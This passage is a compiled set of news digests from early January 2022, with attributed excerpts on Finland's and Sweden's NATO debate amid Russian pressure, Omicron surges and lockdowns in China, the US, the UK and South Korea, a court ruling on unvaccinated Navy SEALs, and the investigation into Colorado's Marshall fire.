However, Finnish President Sauli Niinisto and Prime Minister Sanna Marin used their official New Year’s addresses to stress that Finland has the option of seeking NATO membership at any time, regardless of what security “guarantees” the Kremlin is seeking.

According to the online publication BrusselsMorning, Mr. Niinisto said Finland has “room to maneuver and freedom of choice” that includes “the possibility of military alignment and of applying for NATO membership, should we ourselves so decide.”

Ms. Marin said Finland has “learnt from the past,” an apparent reference to Helsinki’s troubled history with Moscow dating back to the Soviet Union’s annexation of Western Karelia from Finland during the 1939-1940 Russo-Finnish war.

Unease over that history has been rekindled among Finnish nationalists since Russia’s similarly forceful annexation of the Crimean Peninsula from Ukraine in 2014. Sweden’s pro-NATO voices say the country’s long-cherished policy of neutrality has left it in no man’s land in the face of Russia’s resurgent foreign policy aggression in the Putin era. The aggression has included provocations aimed directly at Stockholm.

“For Sweden, one of the first wake-up calls of a resurgent Russia was the simulated nuclear attack on Sweden by Russian bombers on the night of Easter Friday in 2013,” according to 2016 commentary written by then-Swedish Air Force Maj. Carl Bergqvist.

The commentary, published in the online journal War on the Rocks, noted that the Russian posturing had prompted Sweden and Finland to sign “host-nation support agreements with NATO to speed up the process of hosting NATO forces when needed.”

In August, Swedish troops were hastily sent to the island of Gotland in the Baltic Sea after Russian warships were spotted in the area.

Mixed public opinion is a factor in both countries. Polls find that Swedes are equally divided over the wisdom of joining NATO, but pollsters have found a major shift from the 1990s, when a strong majority opposed membership. A recent Finnish poll found a plurality — 40% — still oppose NATO membership to 26% in support, but pro-NATO sentiment is on the rise.

Even before the New Year’s speeches by the Finnish president and prime minister, Russia voiced frustration that Finland or Sweden might try to join NATO.

“It is quite obvious that the ascension of Finland and Sweden to NATO would have serious military and political consequences that would require an adequate response from Russia,” Russian Foreign Ministry spokeswoman Maria Zakharova said on Dec. 29, according to EU Today.

The back-and-forth comes amid rising concern in the U.S. and NATO that Russia may be on the verge of invading Ukraine. Russia has been building up its military troop along the Ukrainian border.

The buildup, which has triggered U.S.-backed Ukrainian forces to dig in on their side of the border, has created a foreign policy headache for the Biden administration.

Moscow has even test-fired hypersonic missiles to underscore its demand that the West provide guarantees that NATO not expand any farther into countries surrounding Russia.

	<p>President Biden responded to the demand by warning Mr. Putin during a phone call last week that the U.S. could dramatically elevate sanctions against Moscow if Russian forces take further military action against Ukraine. Mr. Putin said such a U.S. move could lead to a complete rupture of ties between the nations.</p> <p>Mr. Biden subsequently spent the weekend trying to prevent a war in Europe. He arranged a pep talk with Ukrainian Prime Minister Volodymyr Zelenskyy just days after the tough, nearly hourlong talk with Mr. Putin.</p> <p>Although some in Washington say Mr. Biden is not firm enough with Moscow, a key Democrat warned Mr. Putin on Sunday that his tough talk may provoke the very thing he fears: more countries near Russia's borders signing up with NATO for their own protection.</p> <p>Rep. Adam B. Schiff, California Democrat and chairman of the House Permanent Select Committee on Intelligence, said Russian military action against Ukraine would spark a rethinking all along Russia's borders with the West.</p> <p>"I also think that a powerful deterrent is the understanding that if they do invade, it is going to bring [NATO] closer to Russia, not push it farther away," Mr. Schiff said on CBS's "Face the Nation."</p>
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HEADLINE	<b>01/04 China locks down city of 1.2M after 3 cases</b>
SOURCE	<a href="https://www.theguardian.com/world/2022/jan/04/chinese-city-of-12-million-people-locked-down-after-three-covid-cases-emerge">https://www.theguardian.com/world/2022/jan/04/chinese-city-of-12-million-people-locked-down-after-three-covid-cases-emerge</a>
GIST	<p>Three asymptomatic cases of Covid-19 were enough for Chinese authorities to lock down a city of almost 1.2 million people on Monday, joining 13 million others in locked down Xi'an, where local authorities have asked for restrictions to be tightened even further.</p> <p><a href="#">Beijing is holding on to its zero-Covid strategy</a> ahead of the forthcoming Winter Olympics next month, and with local officials facing sanctions or sackings over outbreaks, cases have prompted increasingly strict responses.</p> <p>Authorities in Yuzhou, Henan province, announced the lockdown on Monday evening, ordering all residents to stay inside, and residential communities to post sentries at gates. Different parts of the city have varying rules – some are allowing people to enter but not exit while others allow neither.</p> <p>Public transport has been suspended and no cars are allowed on the road except for epidemic response vehicles, and all shops, entertainment and leisure venues have been closed. Only businesses that are "guaranteeing the supply of daily life materials" can operate.</p> <p>Yuzhou's locked down population join Xi'an in Shaanxi province, where a harsh lockdown has been in place for almost two weeks, including the requirement for negative tests before an individual can seek medical care. The city has recorded more than 1,700 cases since early December, and put tens of thousands in quarantine. All positive cases are taken to hospitals for treatment and isolation. While the strict response had drawn some concern and complaints <a href="#">including about food shortages</a>, on Tuesday Communist party authorities demanded local officials "strictly and properly" implement restrictions.</p> <p>"The various work that needs to be done must only be strengthened," said Liu Guozhong, the provincial head of the party in Shaanxi, of which Xi'an is its capital.</p> <p>The epidemic control effort is at a pivotal moment, Liu said. "We'd rather widen our identification of groups at risk than to overlook a single person," he was quoted as saying in an article published by the Xi'an government on Tuesday.</p>

He said no one should be overlooked during mass testing in key Xi'an areas and "household doors" should be closely watched in rural parts of the city to make sure people are complying with travel curbs.

The swift and extreme response in Yuzhou drew some concern online, with some commenters questioning the need to go so far over a handful of cases, but others were largely supportive, in line with apparent broad support for China's continued policy of stamping out outbreaks.

While most of the world is open and operating with huge case numbers, including some countries that previously pursued zero-Covid strategies, China has stuck with its policy of keeping the virus at bay, putting increasing pressure on local officials as they battle sporadic outbreaks.

In Xi'an, two senior Communist party officials in the northern city were removed from their posts over their "insufficient rigour in preventing and controlling the outbreak". In Guangxi, officials paraded pandemic rule-breakers through the public streets, with placards around their necks. And last month, China's disciplinary body announced that dozens of officials were punished for failure to prevent the outbreak in the city.

China reported a further 175 new Covid-19 cases on Tuesday, including five in Henan province and eight more in a separate cluster linked to a garment factory in the eastern city of Ningbo. Officials did not say what variant the outbreak involved.

Although the reported cases are low compared with elsewhere in the world, new coronavirus infections in recent weeks have reached a high not seen in the country since March 2020.

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HEADLINE	<b>01/03 Cases rise 100%, hospitalizations 40%</b>
SOURCE	<a href="https://www.theguardian.com/us-news/2022/jan/03/us-covid-omicron-coronavirus-cases-florida">https://www.theguardian.com/us-news/2022/jan/03/us-covid-omicron-coronavirus-cases-florida</a>
GIST	<p>Covid-19 cases in Florida have risen by <a href="#">948% in just two weeks</a>, as the highly transmissible Omicron variant drives a huge wave of infections and hospitalizations across <a href="#">the US</a>.</p> <p><a href="#">Even as Dr Anthony Fauci</a> – Joe Biden's top medical adviser – cautioned the public to look at hospitalizations and not infections in order to gauge Omicron's severity, the seven-day average for US patients <a href="#">hospitalized</a> with Covid-19 increased by more than 40% during the week between Christmas and New Year's Eve.</p> <p>Cases have risen by more than 100% nationally, despite tests being in short supply in many areas, and infections have doubled in the last seven days to an average of 418,000 a day, according to a Reuters tally.</p> <p>In Florida, <a href="#">local and state officials</a> warned that residents were waiting hours in sometimes miles-long lines just to get a test. Some accused the state health department and the governor, Ron DeSantis, of being missing in action.</p> <p>"It's every man/woman for themselves, because leadership is MIA," <a href="#">tweeted state senator Shevrin Jones</a>. <a href="#">Evidence suggests Omicron</a> is a more mild if highly infectious variant. But it "will still do terrible damage among the unvaccinated in both the US and worldwide", <a href="#">according to the New York Times</a>.</p> <p>Only <a href="#">62% of the US population</a> is fully vaccinated, with numbers especially low in the south and many of the mountain states. Boosters are available for people 16 and older, but only about a third of fully vaccinated Americans <a href="#">have opted to get</a> one – despite Fauci saying the extra dose represents "<a href="#">optimal</a>" protection from Omicron.</p> <p>The Food and Drug Administration decided on Monday that 12- to 15-year-olds should also be eligible for a booster, although the Centers for Disease Control and Prevention still needs to <a href="#">give the green light</a>.</p>



Some immunocompromised Americans are going back for fourth or fifth shots, though it is unclear whether doing so is safe or effective, [the New York Times reported](#).

Dorry Segev, [a transplant surgeon at Johns Hopkins University](#), told the paper that hundreds enrolled in a study he is working on have received unauthorized doses.

“They’re acting out of desperation,” he said. “Rather than say, ‘Shame on them,’ I would say, ‘Shame on the system we’ve created.’”

In Washington DC, meanwhile, Congress is experiencing an unprecedented rise in Covid-19 cases, with the seven-day positivity rate at a congressional test site surging to 13% from just 1% in late November, the Capitol’s attending physician said on Monday.

Most coronavirus infections on Capitol Hill have been occurring among the vaccinated, with the [Omicron variant](#) representing about 61% and the Delta variant 38%, based on a limited sample as of 15 December, Dr Brian Monahan told lawmakers and staff in a 3 January letter.

Some school systems around the US have extended their holiday break or switched back to online instruction because of the explosion in cases.

Others pressed ahead with in-person classes amid a seemingly growing sense that Americans will have to learn to co-exist with the virus, armed with the vaccines that help prevent the spread and mitigate the severity of illness and the evolving range of [tested treatments](#).

Covid-19 has killed more than 820,000 people across the US. It has upended lives and livelihoods, disrupted education, left Americans feeling isolated, and at times sent the economy into free-fall.

Mass holiday travel was a predictable recipe for yet another surge, similar to last winter. But nearly two years into the pandemic, the US was still woefully ill-equipped for such conditions and the Omicron variant, sending Americans scrambling to even find tests.

Over the holiday season, [thousands of flights](#) were canceled because of Omicron-caused staffing shortages. Last week, the US [smashed its record](#) for Covid-19 infections reported in one day. Major companies are having to reconsider plans for employees [to finally return to offices](#).

Yet some experts and analysts still hope that Omicron will ultimately represent a move toward normalcy, where Covid-19 becomes a long-term reality [but causes less devastation](#).

“I think it’s likely that we’ll see this wave come and go and that the spring and summer will look a lot better than right now looks to us,” Ofer Levy, director of the Precision Vaccines Program at Boston Children’s hospital, [told CNN](#).

“There will be fewer cases, and then again, next fall and winter we’ll see a spike of viral illnesses, coronaviruses, influenza and others, but that it’ll be more like an endemic cycle.”

Also on Monday, it [was reported](#) that the Manhattan district attorney has closed its investigation into former New York state governor [Andrew Cuomo](#)’s handling of nursing homes during the pandemic.

The New York state health department said that Cuomo’s Covid-19 task force [altered an official report](#) and omitted 9,250 nursing home patients killed by coronavirus.

Elkan Abramowitz, an attorney for Cuomo, said an investigation had concluded no laws were broken.

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SOURCE	<a href="https://www.theguardian.com/world/2022/jan/04/omicron-infections-may-have-plateaued-in-london-neil-ferguson-says">https://www.theguardian.com/world/2022/jan/04/omicron-infections-may-have-plateaued-in-london-neil-ferguson-says</a>
GIST	<p>Prof Neil Ferguson, the scientist who helped shape Britain's coronavirus lockdown strategy, says he is "cautiously optimistic" that Omicron infections have plateaued in <a href="#">London</a> and could reduce in the next week.</p> <p>Ferguson, a mathematical epidemiologist from Imperial College London, cautioned that record cases numbers being reported were likely to be an underestimate because test supplies have run out in some areas.</p> <p>But speaking on BBC Radio 4's Today programme, he said: "An epidemic reaching such high numbers <a href="#">can't sustain those numbers</a> forever. So we would expect to see case numbers start to come down in the next week, maybe already coming down in London, but in other regions a week to three weeks."</p> <p>He added: "I'm cautiously optimistic that infection rates in London in that key 18 to 50 age group, which has been driving the Omicron epidemic, may possibly have plateaued. It is too early to say whether they're going down yet."</p> <p>Ferguson also said that despite a recent doubling in Covid hospital admissions the vaccinations were proving effective at preventing severe disease.</p> <p>He said: "Vaccination is holding up in terms of protection against severe disease, assisted by the fact that Omicron almost certainly is substantially less severe, but it still puts pressures on the health system."</p> <p>Several NHS trusts across England have declared "critical incidents" due to soaring staff absences caused by the pandemic.</p> <p>Ferguson said: "Omicron is substantially less severe. And that has helped us undoubtedly. We would be seeing much higher case numbers in hospital otherwise. And vaccines are holding up against severe disease and against severe outcomes well, but that doesn't mean it's not going to be difficult few weeks for the NHS."</p> <p>Matthew Taylor, the chief executive of the NHS Confederation, said the NHS did not want staff going back into hospitals with Covid and risk passing it on.</p> <p>He told Times Radio that reducing the self-isolation period to five days should be done only if the science "said it was absolutely safe".</p> <p>On the general outlook, he said: "We should feel some hope and confidence about the medium term, [and] that we will gradually become more able to live with Covid as the prime minister has said, that when Omicron has gone through us that we make it to that stage and the NHS will recover."</p> <p>But Taylor added: "On the other hand, we've got to recognise that in the next few weeks at least things are very, very difficult. One thing that people in our service find difficult is that it does seem as though there's a kind of almost politicised attempt to suggest that things aren't as difficult as they are, that any suggestion that we should sustain the restrictions or whether it's personal responsibility or policy.</p> <p>"If you're working in health service, you see the reality, and what you want politicians, what you want people, to be driven by is the data and what's happening at the frontline, and let's not be in the business of ... getting away from the reality of this."</p> <p>He said the judgment on restrictions "needs to be driven by the data and what's in the best interests of the country", adding: "It shouldn't be driven by a kind of political virility symbolism, where the sooner we can be free, the better it is, regardless of the effects. Let's carry on being driven by the data."</p>

	<p>The minister for vaccines and public health, Maggie Throup, said she was “not sure” how many Britons were in self-isolation.</p> <p>She told Sky News: “I’m not sure of that [actual] figure, but I think what’s shown over Christmas is that a lot of people have caught the disease, the Omicron variant is very transmissible, but what is good news, it doesn’t seem to be resulting in severe diseases as some of the other variants did.”</p> <p>She added: “Well, not everybody declares that they’re self-isolating, I think that’s one important thing, that it’s something that they do because they’ve tested positive or they’ve been in contact with somebody whose tested positive, they don’t have to report that in.</p> <p>“The vaccine is working and that’s the best way to stop the transmission, and to stop hospitalisations and for our life to get back to normal.”</p>
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HEADLINE	<b>01/04 Judge blocks Navy dismissal unvax SEALs</b>
SOURCE	<a href="https://www.nytimes.com/2022/01/04/us/lawsuit-us-troops-vaccine-exemption.html">https://www.nytimes.com/2022/01/04/us/lawsuit-us-troops-vaccine-exemption.html</a>
GIST	<p>A federal judge on Monday granted a preliminary injunction blocking the Department of Defense from taking “any adverse action” against 35 Navy sailors who have refused to get vaccinated against the coronavirus, arguing that it violated their religious freedoms.</p> <p>The service members — including Navy SEALs and members of the Naval Special Warfare Command — had filed suit against the Biden administration arguing that their “sincerely held religious beliefs forbid each of them from receiving the COVID-19 vaccine for a variety of reasons based upon their Christian faith.” The <a href="#">Pentagon had mandated</a> that all active-duty troops receive the vaccine.</p> <p>The judge, Reed O’Connor of the Northern District of Texas, effectively blocked the department from punishing those troops.</p> <p>“Our nation asks the men and women in our military to serve, suffer, and sacrifice. But we do not ask them to lay aside their citizenry and give up the very rights they have sworn to protect,” Judge O’Connor wrote in his 26-page order. He added: “The Covid-19 pandemic provides the government no license to abrogate those freedoms. There is no Covid-19 exception to the First Amendment. There is no military exclusion from our Constitution.”</p> <p>The group represents a small fraction of active-duty troops from the United States, and as of mid-December, most active-duty soldiers and members of the Navy had <a href="#">received at least one dose</a> of the vaccine. Thousands have requested religious exemptions, and none have been granted so far, officials said in December.</p> <p>The decision follows another <a href="#">injunction</a> by a judge in November against President Biden’s national vaccine mandate for health care workers.</p> <p>Judge O’Connor, who was appointed by President George W. Bush, has reliably tossed several Democratic policies that have been challenged on the federal bench. In response to the injunction on Monday, Senator Ted Cruz, Republican of Texas, wrote on Twitter, “This is a major win!”</p> <p>A spokesperson for the Pentagon could not immediately be reached for comment. But on Monday evening, John Kirby, a Pentagon spokesman, said that defense officials were reviewing the injunction, according to <a href="#">The Washington Post</a>.</p>
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HEADLINE	<b>01/03 Struggles to avoid widespread shutdowns</b>
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SOURCE	<a href="https://www.nytimes.com/live/2022/01/03/world/omicron-covid-vaccine-tests#the-united-states-struggles-to-avoid-widespread-shutdowns-as-omicron-spreads">https://www.nytimes.com/live/2022/01/03/world/omicron-covid-vaccine-tests#the-united-states-struggles-to-avoid-widespread-shutdowns-as-omicron-spreads</a>
GIST	<p>Officials across the United States, from <a href="#">President Biden on down, have been insisting that they are no longer in the shutdown business</a>, and will not order any closures to contain the latest surge in coronavirus cases.</p> <p>But Omicron may be taking the decision out of their hands. So many workers are testing positive or calling in sick that businesses, schools, government agencies and more are being crippled by staff shortages that may force them to close some operations anyway.</p> <p><a href="#">Airlines began canceling flights in large numbers on Christmas Eve</a> for lack of crews, and the problems have continued into the new year. Broadway shows have been canceled because of outbreaks backstage. Major companies have delayed or entirely jettisoned return-to-office plans. Many colleges are switching back to virtual classes to start the semester.</p> <p>And public <a href="#">school leaders are struggling to respond</a> to a situation that has changed greatly from when students went on holiday breaks before Christmas, barely a week ago. Four large city school systems — Cleveland, Detroit, Milwaukee, and Newark — have joined a growing list of public schools around the country that put off reopening on Monday, switched to remote instruction, or both. Covid-19 outbreaks and staffing shortages forced their hands.</p> <p>Omicron has driven case numbers to staggering new heights: The United States is averaging more than 484,600 daily cases over the past week, a 238 percent increase from two weeks ago. Hospitalizations are up 41 percent in the past two weeks, while deaths are down by 3 percent.</p> <p>In some cases, the very resources needed to cope with Omicron’s staffing disruptions are themselves being disrupted, from the call-center agents who rebook canceled flights to the frontline medical professionals who care for sick workers.</p> <p>Infected police officers, firefighters, paramedics, and transit workers are leaving shifts unfilled. In New York City, subway lines have been delayed by staff shortages, and the Fire Department has asked residents not to call 911 except in a real emergency.</p> <p>Many elected leaders of both parties have discarded their sharpest pandemic-curbing tools, like closing government offices, schools and businesses, which have come with staggering economic, social and political costs. Instead, elected officials have stressed the importance of vaccination, booster shots and mask-wearing.</p> <p>“I am not prepared to shut down schools or the economy at this time,” Gov. Kathy Hochul of New York, a Democrat, said before New York suffered a string of new daily case records last week. “I will not overreact and send this economy spiraling out of control once again.”</p> <p>Many leading public health experts aren’t seeking shutdowns, either. If anything, many appear to be taking an opposite tack.</p> <p>The Centers for Disease Control and Prevention announced new guidelines to help schools stay open, by allowing children who are exposed to the coronavirus to “test to stay” instead of automatically having to quarantine at home. And it has said that some Americans who test positive can leave isolation after five days, half as long as previous recommendations.</p>
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HEADLINE	<b>01/03 Treatment decisions vex doctors, officials</b>
SOURCE	<a href="https://www.nytimes.com/live/2022/01/03/world/omicron-covid-vaccine-tests#doctors-omicron">https://www.nytimes.com/live/2022/01/03/world/omicron-covid-vaccine-tests#doctors-omicron</a>
GIST	Most U.S. doctors have no way to determine which variant of the coronavirus a patient is carrying, a distinction that could mean the difference between life and death.

High-risk patients carrying the Delta variant could benefit greatly from two particular monoclonal antibody treatments shown to reduce hospitalization and death. But those medications would most likely do nothing for patients with Omicron, who would only respond to a third antibody treatment that is in very short supply.

While U.S. officials [have endorsed](#) using a workaround test that can identify Omicron's genetic signature, experts say it's not feasible for large health systems facing a crush of patients to employ in each case.

That makes treating patients challenging in places like Maryland, where cases are spiking and Omicron accounts for [roughly 58 percent](#) of them. The Delta variant is also holding strong in the Great Plains and swaths of the West, including California.

While there is no approved test to determine each individual's variant, a national network of state and other labs use genome-sequencing tests to track variants broadly in communities. Health systems then use those [regional estimates](#) or their own data to decide which antibody treatments to use in their clinics and hospitals.

Many of them concluded that a community of largely Delta patients would benefit most from the antibody drugs made by Regeneron and Eli Lilly, while communities where Omicron patients are predominant would benefit from antibodies from GlaxoSmithKline and Vir Biotechnology.

Federal officials have dabbled with making the decision for the nation. On Dec. 23, they [stopped](#) shipments of antibody treatments by Eli Lilly and Regeneron after the Centers for Disease Control and Prevention said 73 percent of U.S. Covid cases were Omicron.

An [outcry](#) followed from Republican political leaders, who argued that some people in their states were still infected with Delta. And on Tuesday, the C.D.C. slashed its estimate of national Omicron cases to 59 percent. On Dec. 31, federal officials resumed national shipping [all of the antibody](#) treatments.

For the next few weeks, as the country grapples with this uneven mix of both variants, tailoring treatments to each patient will be "extraordinarily difficult," said Dr. Alex Greninger, assistant director of the clinical virology laboratories at the University of Washington Medical Center.

Dr. Greninger is credited with developing one of the first tests to detect the coronavirus in the United States. But he is pessimistic that health systems can pivot quickly to sort out which patients have Delta or Omicron. And although a shortcut test can detect Omicron, there's no simple way to report the results in bulk, he said.

What's more, the genome sequencing used by public health officials takes nearly a week — too long to target the early antibody treatments that have been found to reduce the need for hospitalizations. That makes patient care particularly difficult right now, said Dr. Mark Siedner, an infectious disease clinician and researcher at Massachusetts General Hospital.

In Massachusetts and nearby states, an estimated 44.5 percent of cases are Omicron. Dr. Siedner said his health system has stopped using the Regeneron and Eli Lilly antibodies that are not effective against Omicron and are "anxiously awaiting" more doses of the effective treatment by GlaxoSmithKline and Vir Biotechnology.

"We're in a holding pattern and it's a terrible time to be in that place," he said.

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HEADLINE	01/03 Capitol lawmakers urged to work remotely
SOURCE	<a href="https://www.nytimes.com/live/2022/01/03/world/omicron-covid-vaccine-tests#lawmakers-and-their-staffs-are-urged-to-work-remotely-as-covid-cases-rise-at-capitol">https://www.nytimes.com/live/2022/01/03/world/omicron-covid-vaccine-tests#lawmakers-and-their-staffs-are-urged-to-work-remotely-as-covid-cases-rise-at-capitol</a>

GIST	<p>The top medical official at the U.S. Capitol urged lawmakers and their staff members on Monday to work remotely and take additional precautions against the coronavirus, after the seven-day positivity rate at the building's on-site coronavirus test center rose rapidly from less than 1 percent to more than 13 percent.</p> <p>In a letter to congressional offices obtained by The New York Times, Dr. Brian P. Monahan, the attending physician, informed lawmakers that there had been an "unprecedented number of cases" among hundreds of people who work in the Capitol complex, with dozens testing positive daily.</p> <p>Of the cases detected, 65 percent were symptomatic, the letter said. As of Dec. 15, a majority of the infections were breakthrough cases, with 61 percent caused by the Omicron variant and 38 percent caused by the Delta variant.</p> <p>The building offers daily testing for lawmakers, their staffs, Capitol workers and journalists who work in the building, and lawmakers were among the first wave of eligible people to receive vaccinations and boosters in the country. The breakthrough infections, Dr. Monahan said, had not led to any hospitalizations, serious complications or deaths.</p> <p>"I urge all individuals also to continue essential measures to reduce the spread of coronavirus," Dr. Monahan wrote in his letter, encouraging lawmakers to maximize the amount of remote work done in their offices and advising all people in the building to use medical-grade masks.</p> <p>With the Senate set to hold votes on Tuesday, Democrats have now decided to meet virtually for their weekly caucus lunch, according to a senior aide. The House is not set to return until Jan. 10.</p> <p>Dr. Monahan has little authority to enforce his guidance, in an institution where individual congressional offices can set their own policies and guidelines. Mask-wearing in recent months has largely been divided along party lines, with two Republicans, Marjorie Taylor Greene and Andrew Clyde, incurring more than \$100,000 combined in fines for flouting the mask mandate on the House floor.</p>
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HEADLINE	<b>01/03 SKorea vaccine passes 6mo. expiry date</b>
SOURCE	<a href="https://www.nytimes.com/live/2022/01/03/world/omicron-covid-vaccine-tests#south-koreas-vaccine-passes-now-have-an-expiration-date">https://www.nytimes.com/live/2022/01/03/world/omicron-covid-vaccine-tests#south-koreas-vaccine-passes-now-have-an-expiration-date</a>
GIST	<p>As of Monday, South Korea's vaccine passes will have a six-month expiration date, as the health authorities seek to manage the country's "living with Covid" strategy.</p> <p>Under the vaccine pass system, which started in mid-December, visitors to public places like restaurants, cafes, sports facilities and movie theaters must present proof of vaccination to gain access. (Proof of a recent negative P.C.R. test is also accepted.)</p> <p>With the tightened rules, those who received two doses of the coronavirus vaccine must get a booster shot within six months, or their vaccine passes — issued 14 days after getting a second dose — will be void. (Negative test results issued within 48 hours will still be accepted.)</p> <p>Fines or administrative action against violators will begin starting on Jan. 10, according to <a href="#">Yonhap News Agency</a>. Both people who flout the rule and venues that fail to enforce it could face punishment.</p> <p>The vaccine pass system has <a href="#">spurred debate</a> in South Korea over whether it is forcing people to take the vaccine. The country has fully vaccinated 83 percent of its population, according to <a href="#">Our World in Data</a>, and on Monday Korean health officials reported <a href="#">3,129</a> new daily cases of the virus. After weeks of record-breaking case counts, the country has had a 34 percent drop in daily cases over the past week.</p>

Other countries have also begun adding expiration dates to a primary vaccine regimen. Starting in February, the European Union Covid Certificate will have a validity period of [nine months](#), and booster shots will be mandatory for travel across several countries on the continent.

And beginning next week, the United Arab Emirates is set to bar people from leaving the country unless they have received three doses of a coronavirus vaccine, according to the state news agency [WAM](#).

Britain announced a goal to administer boosters to all adults by the [end of the month](#), and Israel last week approved of a [fourth shot](#) for people with weak immune systems and others at high risk, including those 60 and over, and health care workers.

The United States has been slower in its booster rollout, with only one-third of fully vaccinated adults receiving another shot as of [mid-December](#). Chile will also offer its eligible residents a fourth coronavirus vaccine dose from February, [President Sebastián Piñera announced](#). Health care workers, older people and those with chronic diseases would be given shots first.

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HEADLINE	<b>01/03 NYC doubling capacity of quarantine hotels</b>
SOURCE	<a href="https://www.nytimes.com/live/2022/01/03/world/omicron-covid-vaccine-tests#new-york-city-is-doubling-capacity-for-its-quarantine-hotels">https://www.nytimes.com/live/2022/01/03/world/omicron-covid-vaccine-tests#new-york-city-is-doubling-capacity-for-its-quarantine-hotels</a>
GIST	<p>New York City is doubling the capacity of its free quarantine hotel program for people with the coronavirus, the agency that runs the program said Monday, after complaints from people who said their attempts to get a room through a city hotline <a href="#">met with endless waits on hold and delays of days</a> for the rooms themselves.</p> <p>A spokesman for the city's Test and Trace Corps, which runs the quarantine program, said in an email Monday, "We will have nearly a thousand beds available this week, and will continue to scale as needed."</p> <p>The city has also been dealing with problems in a separate quarantine hotel program for people in homeless shelters after 11 women with the coronavirus were crammed into one room with just a few mattresses on the floor and some chairs.</p> <p>As the <a href="#">number of new virus cases in the city has skyrocketed</a>, the spokesman, Adam Shrier, said that demand for the hotels had "quickly increased due to the rapidly transmissible Omicron variant."</p> <p>He said that program had "several hundred beds available," even as "our work force is suffering the same kind of illness and exposure as our other colleagues on the frontlines." But he declined to say whether there was a wait for rooms, citing agency policy not to "disclose information about our locations or guests to protect their confidentiality."</p> <p>Nearly 30,000 people have stayed in hotels since the program started in June 2020. The city calls it "the only free, major hotel isolation program in the country."</p> <p>But four people who tried to take advantage of the main hotel-quarantine system told The New York Times late last week that they had either waited days before getting a room, given up and paid for one themselves, or been stuck on hold for hours on a city hotline without anyone ever picking up. <a href="#">Others posted on Twitter</a> about long waits.</p> <p>Brittany Gaston of Brooklyn, 26, a medical assistant, said that five days after she requested a hotel room and was not given one, she finally spoke to someone, only to be told that she no longer qualified for the program because she no longer needed to quarantine, even though she still had Covid-19 symptoms and two people in her household had underlying health issues.</p> <p>"I really wanted to cry on the phone," she said, adding that when she had Covid last February, she was able to get a quarantine hotel room without delay.</p>



	<p>Inside a homeless shelter in Brooklyn last week, meanwhile, 11 women who had tested positive for the virus were crowded into a small room, two of the women said.</p> <p>One of the women, Anna Ortiz, who has chronic asthma, heart problems and uses a walker, said she had to sleep on an uncarpeted floor without a blanket or pillow.</p> <p>“I felt like I was being treated like an animal,” said Ms. Ortiz, 51.</p> <p>The city Department of Homeless Services described that situation as an “isolated incident” caused by the nonprofit that operates the shelter, Camba.</p> <p>Isaac McGinn, a spokesman for the Department of Homeless Services, said that Camba staff had not followed proper procedure and that the city had “conveyed to providers and staff the proper process for connecting clients who need it to isolation services to prevent this from happening.” He said that the system had about 160 vacant beds in isolation units for people who are infected and another 210 beds in quarantine rooms for people who were exposed.</p>
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HEADLINE	<b>01/03 Colorado fire probe focus on religious sect</b>
SOURCE	<a href="https://www.nytimes.com/2022/01/03/us/colorado-fire-twelve-tribes.html">https://www.nytimes.com/2022/01/03/us/colorado-fire-twelve-tribes.html</a>
GIST	<p>Investigators looking into the cause of <a href="#">a colossal wildfire in Colorado</a> that forced the evacuation of tens of thousands of people are focusing on a property owned by a Christian fundamentalist sect, after witnesses reported seeing a structure on fire there moments before <a href="#">the blaze spread with astonishing speed</a> across drought-stricken suburbs.</p> <p>Sheriff Joe Pelle of Boulder County said at a news briefing on Monday that the property owned by Twelve Tribes, which was founded in Tennessee in the 1970s, had become a target of the probe after investigators ruled out the possibility that downed power lines might have sparked the fire.</p> <p>Still, Sheriff Pelle warned against jumping to conclusions regarding the fire’s origins, emphasizing that the investigation was in its early stages and that it could take weeks or even months to determine the exact cause. He said investigators from the Federal Bureau of Investigation, the Bureau of Alcohol, Tobacco, Firearms and Explosives, and the U.S. Forest Service were assisting his department’s probe.</p> <p>“We’re going to take our time and be methodical because the stakes are huge,” Sheriff Pelle said.</p> <p>The efforts to determine what caused the fire are adding to the challenges that authorities are facing in Colorado, after heavy snowfall over the weekend <a href="#">blanketed the suburban areas</a> that had been torched by the Marshall fire. About 35,000 people were forced to evacuate the area last week, and many families remain in shelters after <a href="#">more than 900 homes were destroyed</a>.</p> <p>Authorities are still searching for two people missing in the blaze, which figured among the most destructive in Colorado history. A severe multiyear drought nurtured the brittle-dry conditions that allowed the fire to sweep through residential areas.</p> <p>Discussion of the Twelve Tribes property emerged on social media on Thursday, around the time the Marshall fire began spreading, when <a href="#">video of a structure on fire</a> there started circulating. By Sunday, officials confirmed that the fire began on private property at the Boulder County intersection of Marshall Road and Highway 93, which is owned by Twelve Tribes. Sheriff Pelle confirmed on Monday that investigators were examining the site in addition to adjacent areas.</p> <p>Several witnesses who live nearby said they had alerted the authorities about the fire at the site before hurricane-force winds spread flames around Boulder County. Anne Michaels, a kindergarten teacher who</p>



lives in the area, said she was driving by the property on Thursday while talking to her mother on her mobile phone when she noticed something was wrong.

“I said, ‘Mom, I see smoke,’” said Ms. Michaels, 43, adding that the smoke was clearly coming from the Twelve Tribes property. She said she called 911 shortly afterward to alert the authorities.

Mike Zoltowski, another witness who reported seeing the fire on the property, while staying at a friend’s neighboring home, said he saw a fire crew on Thursday unsuccessfully try to put out what appeared to be a shed on fire before leaving the site.

“As soon as I turned around and came back, they were gone,” Mr. Zoltowski [told a local television station](#). “And that’s when I realized something is seriously wrong here, because the shed was still burning.”

A spokeswoman for Twelve Tribes said on Monday that an investigation was taking place but declined to comment further.

Twelve Tribes originated from a [youth Bible study group](#) in the 1970s in Chattanooga, Tenn. Since then, it has grown into an international network of self-governing communities scattered across North and South America, Europe and Australia. The settlement in Boulder is one of two in Colorado.

The group touts itself as an assemblage of up to 3,000 people united by a common belief in God, or Yahshua, and strict adherence to the Old and New Testaments of the Bible, according to its [website](#). Men are expected to wear long beards and tie their hair back, while women dress modestly. Its members often work at several businesses owned by the group across the country, which include [a deli in Boulder](#).

Sheriff Pelle said earlier that a search warrant had been executed as part of the fire investigation, but did not say what location had been searched.

He said that the initial assumptions that downed power lines might have sparked the fire were ruled out after fire investigators and work crews from Xcel Energy, which provides power to the area, determined that the lines in question were used to transmit not electricity but telecommunications data.

In the meantime, the sheriff said investigators were trying to piece together what happened by speaking to as many people as possible. “What I’ve seen today coming in and out of this building meeting with these investigators are dozens of people,” Sheriff Pelle said at the briefing.

He said investigators were “essentially working by hand and with small tools to try to get through those locations” to try to ascertain the origin of the blaze.

“It is very, very difficult work given the debris, the heat,” he said, describing the investigation as “in full force and in full swing.”

